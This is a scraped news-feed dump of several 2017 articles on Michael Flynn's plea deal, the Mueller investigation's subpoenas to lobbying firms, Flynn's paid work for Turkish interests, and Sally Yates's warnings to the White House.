Legal experts have since theorized that Mueller, who heads the investigation into Russia’s meddling in the 2016 presidential election and possible collusion with members of Trump’s campaign, may have received incriminating information on Trump or his associates from Flynn, given the nature of his plea deal.

Flynn is the fourth Trump associate who has been charged in Mueller’s investigation. Previously, a federal grand jury indicted Paul Manafort, Trump’s campaign chairman; Rick Gates, Manafort’s former business associate; and George Papadopoulos, a former foreign policy adviser.

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]]> https://briefnews.eu/trump-was-reportedly-told-to-stay-away-from-twitter-after-mike-flynns-plea-deal-was-revealed/feed/ 0 ABC News clarifies a critical detail in its report on Michael Flynn’s plea deal https://briefnews.eu/abc-news-clarifies-a-critical-detail-in-its-report-on-michael-flynns-plea-deal/ https://briefnews.eu/abc-news-clarifies-a-critical-detail-in-its-report-on-michael-flynns-plea-deal/#respond Sat, 02 Dec 2017 01:05:19 +0000 http://briefnews.eu/abc-news-clarifies-a-critical-detail-in-its-report-on-michael-flynns-plea-deal/ Donald Trump Mike FlynnGeorge Frey/Getty Images

  • ABC News issued a clarification on a critical detail from its original report on former national security adviser Michael Flynn’s plea deal.
  • A spokesperson said one of the network’s sources clarified that Flynn was prepared to testify that Trump, as president-elect, instructed Flynn to establish contact with Russia on various matters of interest to the incoming administration.
  • The initial report caused some panic in US markets on Friday morning.

ABC’s “World News” program clarified a crucial detail in its initial report on former national security adviser Michael Flynn’s plea deal that caused US stocks to plunge Friday morning.

In a televised report, ABC News’ Brian Ross said that Flynn was prepared to testify that Donald Trump, as a presidential candidate, “directed him to make contact with the Russians.”

ABC News, which reported its story based in part on information received from an unnamed Flynn associate, said the source later clarified that, according to Flynn, President-elect Trump “asked him to contact Russia” during the transition period. The contacts were purportedly aimed to “discuss issues, including working together to fight ISIS,” ABC News’ statement said.

The initial report rattled US markets Friday morning as the newest development in the Russia probe unfolded. It was not immediately clear why ABC News reported the clarification hours later.

Flynn pleaded guilty to one felony count of lying to the FBI as part of a deal with special counsel Robert Mueller, who is conducting the investigation of Russia’s meddling in the 2016 presidential election and possible collusion between members of Trump’s inner circle and Russian operatives. Flynn is expected to be a cooperating witness in Mueller’s case.

NOW WATCH: The 4 best memes from Trump’s trip to Asia

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]]> https://briefnews.eu/abc-news-clarifies-a-critical-detail-in-its-report-on-michael-flynns-plea-deal/feed/ 0 Mueller’s team reportedly issues subpoenas to lobbying firms that worked with Flynn’s and Manafort’s consulting groups https://briefnews.eu/muellers-team-reportedly-issues-subpoenas-to-lobbying-firms-that-worked-with-flynns-and-manaforts-consulting-groups/ https://briefnews.eu/muellers-team-reportedly-issues-subpoenas-to-lobbying-firms-that-worked-with-flynns-and-manaforts-consulting-groups/#respond Sun, 27 Aug 2017 01:27:00 +0000 http://briefnews.eu/muellers-team-reportedly-issues-subpoenas-to-lobbying-firms-that-worked-with-flynns-and-manaforts-consulting-groups/ Robert MuellerAP Photo/Andrew Harnik

Special counsel Robert Mueller’s team has subpoenaed a number of Washington lobbying firms as part of its investigation into whether President Donald Trump’s campaign colluded with Moscow to tilt the 2016 election in his favor, The Washington Post reported on Friday. 

The firms that were subpoenaed have been associated with consulting firms led by former national security adviser Michael Flynn and former Trump campaign manager Paul Manafort. Both Flynn and Manafort are being scrutinized as part of the Russia investigation. 

Manafort left the Trump campaign last August, and Flynn was forced to resign as national security adviser in February, when it emerged that he had misled Vice President Mike Pence about his contacts with Sergey Kislyak, the former Russian ambassador to the US.

The subpoenas come as both Flynn and Manafort face questions about allegedly failing to disclose the lobbying work they did on behalf of foreign governments, in violation of US federal law. 

The Post reported that two of the subpoenas were issued to SGR LLC and Mercury Public Affairs, citing sources familiar with the matter. A lawyer representing SGR LLC confirmed to The Post that the firm had received a subpoena, and people close to Mercury Public Affairs said they had also received requests, though the company declined to comment. 

Ukraine lobbying work

Mueller’s team reportedly asked Mercury about public relations work it had conducted for the European Centre for a Modern Ukraine at Manafort’s request. The organization’s stated goal is to foster closer ties between Ukraine and the European Union, as well as the United States. It was founded, however, by Leonid Kozhara, a senior member of parliament for Ukraine’s pro-Russia Party of Regions. 

Manafort is linked to the party through his time serving as a top adviser to Ukrainian President Viktor Yanukovych, a pro-Russian strongman whom Manafort is widely credited with helping win the presidency in 2010. 

Yanukovych was ousted in 2014 after widespread demonstrations again this decision to back out of a deal with the EU that would have distanced Ukraine from Russia and strengthened ties with the West. Yanukovych fled to Russia amid the protests, during which Ukrainian riot police opened fire on thousands of demonstrators, and is now living under the protection of the Kremlin.

Paul ManafortAP Photo/Carolyn Kaster, File

Ukrainian prosecutors have said Yanukovych ordered the security forces’ attack on protesters, and at least one human-rights lawyer representing the victims is investigating what role, if any, Manafort played in encouraging Yanukovych’s crackdown. 

Mercury worked with Podesta group — the lobbying firm led by John Podesta’s brother, Anthony Podesta — on the Ukraine lobbying project, and the firms did not register as foreign agents at the time, saying they were working for a nonprofit and not a foreign government or political party, The Post reported. Both firms recently registered retroactively, however, acknowledging that the Party of Regions benefited from their work. 

Manafort has drawn increased scrutiny from the FBI in recent months. The Washington Post reported that the bureau conducted a predawn raid on his home in July, and agents working with Mueller left Manafort’s home “with various records.”

Manafort has been cooperating with investigators’ requests for relevant documents. But the search warrant obtained by the FBI in July indicates that Mueller managed to convince a federal judge that Manafort would try to conceal or destroy documents subpoenaed by a grand jury.

Turkey lobbying work

Mueller’s team subpoenaed SGR after Flynn’s lobbying firm, Flynn Intel Group, hired the group to ostensibly “promote a good business climate in Turkey,” The Post reported. Flynn’s firm hired SGR as part of its work with a Dutch company with links to Turkish President Recep Tayyip Erdogan. 

Although Flynn’s group’s initial stated goal in hiring SGR was to foster a stronger business climate in Turkey, it was later forced to indicate that it brought SGR on to “raise concerns” to the US about Fethullah Gulen, a Turkish cleric currently living in exile in Pennsylvania whom Erdogan has blamed for mounting a failed coup against his government and fomenting dissent within Turkey. 

Michael FlynnAP Photo/Carolyn Kaster

Flynn’s lobbying group has undertaken other efforts to discredit Gulen and bolster Erdogan as well. The firm reportedly did not want anyone to know that it was working on a documentary commissioned by a Turkish businessman to help Turkey’s image in the wake of last July’s failed coup. 

The businessman, Ekim Alptekin, paid the Flynn Intel Group over $ 500,000 to produce a documentary about the dangers of Gulen, he told The Wall Street Journal in May. “We thought that might have a good effect,” he added. The film was never finished. 

Flynn additionally raised eyebrows when he wrote an op-ed for The Hill, published on November 8, alleging Gulen helmed a “vast global network” that had “all the right markings to fit the description of a dangerous sleeper terror network.”

In addition to being scrutinized as part of Mueller’s probe into whether the Trump campaign colluded with Russia in 2016, Flynn is also under a separate FBI investigation for privately working as a paid lobbyist for Turkey during the 2016 campaign. Flynn informed the Trump transition team of the investigation in early January, weeks before Trump was inaugurated.

He did not resign until mid-February, after it was reported that he had discussed US sanctions against Russia with Kislyak during the transition period and misled Pence about the conversations. 

Flynn has asked for immunity from prosecution from the bureau and the House and Senate intelligence committees in exchange for his testimony. It is unclear whether the FBI has granted Flynn immunity, but the intelligence committees have ruled it out.

Natasha Bertrand contributed reporting.

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]]> https://briefnews.eu/muellers-team-reportedly-issues-subpoenas-to-lobbying-firms-that-worked-with-flynns-and-manaforts-consulting-groups/feed/ 0 Special counsel expands probe to include ex-Trump aide Michael Flynn’s dealings with Turkey https://briefnews.eu/special-counsel-expands-probe-to-include-ex-trump-aide-michael-flynns-dealings-with-turkey/ https://briefnews.eu/special-counsel-expands-probe-to-include-ex-trump-aide-michael-flynns-dealings-with-turkey/#respond Fri, 02 Jun 2017 15:19:02 +0000 http://briefnews.eu/special-counsel-expands-probe-to-include-ex-trump-aide-michael-flynns-dealings-with-turkey/ FILE PHOTO - U.S. National Security Advisor Michael Flynn boards Air Force One at West Palm Beach International airport in West Palm Beach, Florida U.S. on February 12, 2017. REUTERS/Carlos Barria/File PhotoThomson Reuters

WASHINGTON (Reuters) – Robert Mueller, the special counsel investigating possible ties between the Trump election campaign and Russia, is expanding his probe to include a grand jury investigation into former national security adviser Michael Flynn, three sources told Reuters.

The move means Mueller’s politically charged inquiry will now look into Flynn’s paid work as a lobbyist for a Turkish businessman in 2016, in addition to contacts between Russian officials and Flynn and other Trump associates during and after the Nov. 8 presidential election.

Federal prosecutors in Virginia are investigating a deal between Flynn and Turkish businessman Ekim Alptekin as part of a grand jury criminal probe, according to a subpoena seen by Reuters.

Alptekin’s company, Netherlands-based Inovo BV, paid Flynn’s consultancy $ 530,000 between September and November to produce a documentary and research on Fethullah Gulen, an exiled Turkish cleric living in the United States. Turkish President Tayyip Erdogan blames Gulen for a failed coup last July.

Alptekin, an ally of Erdogan, told Reuters he hired Flynn to provide research on how Gulen is “poisoning the atmosphere” between Turkey and the United States.

Gulen has denied any role in the coup and dismisses Turkey’s allegations that he heads a terrorist organization.

The grand jury in Virginia has issued subpoenas to some of Flynn’s business associates involved in the work for Inovo, two people familiar with the probe say. The subpoena seen by Reuters seeks bank records, documents and communications related to Flynn, his company, Flynn Intel Group, Alptekin and Inovo.

Flynn’s lawyer, Robert Kelner, did not respond to questions about Flynn’s work for Inovo or Mueller’s investigation. A spokesman for Mueller declined to comment.

Alptekin declined to comment when asked about the investigation into Flynn and whether he or anyone he knows has been subpoenaed.

Broad powers

FILE PHOTO - Outgoing FBI Director Robert Mueller reacts to applause from the audience during his farewell ceremony at the Justice Department in Washington, DC, U.S. on August 1, 2013. REUTERS/Jonathan Ernst/File PhotoThomson ReutersMueller’s move to take over the Virginia grand jury’s criminal investigation highlights his broad powers as special counsel.

Deputy U.S. Attorney General Rod Rosenstein appointed Mueller, a former FBI director, on May 17 to oversee an investigation into any links or collusion between Russia and individuals associated with the Trump campaign. Rosenstein also gave him authority to pursue “any matters that arose or may arise directly from the investigation.”

Some members of Congress have asked the Justice Department to define the scope of Mueller’s inquiry.

Mueller’s appointment followed an uproar over Trump’s firing of FBI Director James Comey, who had been investigating alleged Russian meddling in the 2016 election. Democrats and some of the president’s fellow Republicans had demanded an independent probe of whether Russia tried to sway the outcome of November’s election in favor of Trump and against Democrat Hillary Clinton.

Trump, who has said there was no coordination between his campaign and Russia, has decried the investigation as a “witch hunt.”

One of Trump’s most trusted aides during the election campaign, Flynn had a long career in the military. He set up the Flynn Intel Group, an Alexandria, Virginia-based intelligence consultancy, after President Barack Obama dismissed him as head of the military’s Defense Intelligence Agency in 2014.

Michael FlynnWin McNamee/Getty Images

Unfinished documentary

Mueller, who takes over leadership of an FBI investigation that began last July, can present evidence to grand juries and hear testimony from witnesses.

Trump fired Flynn in February after it became clear that he had falsely characterized the nature of phone conversations he had with Russian ambassador Sergei Kislyak in December, just after the Obama administration imposed new sanctions on Russia for what U.S. intelligence agencies had concluded was a Kremlin-led effort through computer hacking, fake news and propaganda to boost Trump’s chances of winning the White House. 

Flynn’s work for Inovo came under scrutiny after he published a commentary on a political news website on Election Day calling Gulen a “radical Islamist” who should be extradited to Turkey.

Along with the editorial, the Flynn Intel Group also produced a 75-page report on Gulen based mainly on news reports and some video footage for a documentary that was never made, according to three people familiar with the project.

Alptekin, who is chairman of the Turkey-U.S. Business Council, told Reuters he was satisfied with Flynn’s research because it had helped him understand how Gulen’s network operates in the United States.

He said the $ 530,000 payment to Flynn’s firm came “mostly” from his personal funds.

On Nov. 18, the day after Flynn was appointed Trump’s national security adviser, Trump transition team lawyer William McGinley raised concerns on a call with the Flynn Intel Group and others involved in the Inovo project over who had paid for Flynn’s commentary, according to two people with knowledge of the conversation.

Flynn did not participate in that call, they said.

At the time of the call, Flynn had not disclosed that his work for Alptekin meant he was being paid to represent Turkish interests during the election campaign. Flynn Intel Group had said in a September 2016 filing that it was lobbying for Inovo but did not disclose its Turkish links. In March, Flynn retroactively registered under the Foreign Agents Registration Act.

In a letter accompanying the March filing, Flynn’s lawyer, Kelner, said the disclosure was being made because Flynn’s work for Inovo “could be construed to have principally benefited the Republic of Turkey,” which he noted was seeking to extradite Gulen.

The House of Representatives intelligence committee, which is also investigating Russian interference in the election, subpoenaed records from Flynn on Wednesday. The Senate’s intelligence committee, which has a separate probe under way, has also served subpoenas on Flynn and two of his businesses, and earlier this week Flynn indicated that he would start turning over relevant materials.

 

(Additional reporting by Julia Harte in Washington, editing by Kevin Krolicki and Ross Colvin)

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]]> https://briefnews.eu/special-counsel-expands-probe-to-include-ex-trump-aide-michael-flynns-dealings-with-turkey/feed/ 0 ‘I’m not sure how much more of a siren you have to sound’: Sally Yates on warnings that led to Mike Flynn’s firing https://briefnews.eu/im-not-sure-how-much-more-of-a-siren-you-have-to-sound-sally-yates-on-warnings-that-led-to-mike-flynns-firing/ https://briefnews.eu/im-not-sure-how-much-more-of-a-siren-you-have-to-sound-sally-yates-on-warnings-that-led-to-mike-flynns-firing/#respond Wed, 17 May 2017 05:24:30 +0000 http://briefnews.eu/im-not-sure-how-much-more-of-a-siren-you-have-to-sound-sally-yates-on-warnings-that-led-to-mike-flynns-firing/ sally yatesFormer acting Attorney General Sally Yates attempted to explain in one sentence the seriousness of her warnings about former national security adviser Michael Flynn.

“I’m not sure how much more of a siren you have to sound,” Yates said in a CNN interview with Anderson Cooper that aired Tuesday night.

Yates informed White House counsel Donald McGahn in January that Flynn, who discussed US sanctions against Russia with Russian ambassador Sergey Kislyak, was vulnerable to Russian blackmail. That’s because Flynn misled White House officials, including Vice President Mike Pence, about those conversations. In televised interviews, Pence repeated the misinformation Flynn provided and Russia knew about it.

Yates testified in a Senate Judiciary subcommittee hearing last week that she warned the White House about Flynn multiple times. Flynn kept his job for 18 more days before he was fired. Yates rebutted assertions from the White House that her admonitions about Flynn amounted to little more than a “heads up,” as described by White House press secretary Sean Spicer:

“When you call the White House counsel and say you’ve gotta meet with them that day about something you can’t talk about on the phone, and you tell them that their national security adviser may be able to be blackmailed by the Russians, and that you’re giving them this information so that they’ll take action, I’m not sure how much more of a siren you have to sound.”

Yates told Cooper she gave the White House information about Flynn so it could “act” and avoid being compromised at the hands of the Kremlin.

It was “absolutely” a national security issue, Yates said.

NOW WATCH: The 9 best memes from Trump’s first 100 days in office

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]]> https://briefnews.eu/im-not-sure-how-much-more-of-a-siren-you-have-to-sound-sally-yates-on-warnings-that-led-to-mike-flynns-firing/feed/ 0 Michael Flynn’s comments about immunity last year are coming back to bite him https://briefnews.eu/michael-flynns-comments-about-immunity-last-year-are-coming-back-to-bite-him-2/ https://briefnews.eu/michael-flynns-comments-about-immunity-last-year-are-coming-back-to-bite-him-2/#respond Fri, 31 Mar 2017 14:20:55 +0000 http://briefnews.eu/michael-flynns-comments-about-immunity-last-year-are-coming-back-to-bite-him-2/ Former national security adviser Michael Flynn has offered to be interviewed by the FBI in exchange for immunity. Last year, discussing Hillary Clinton’s private email server, Flynn said that anybody who is given immunity has “probably committed a crime.”


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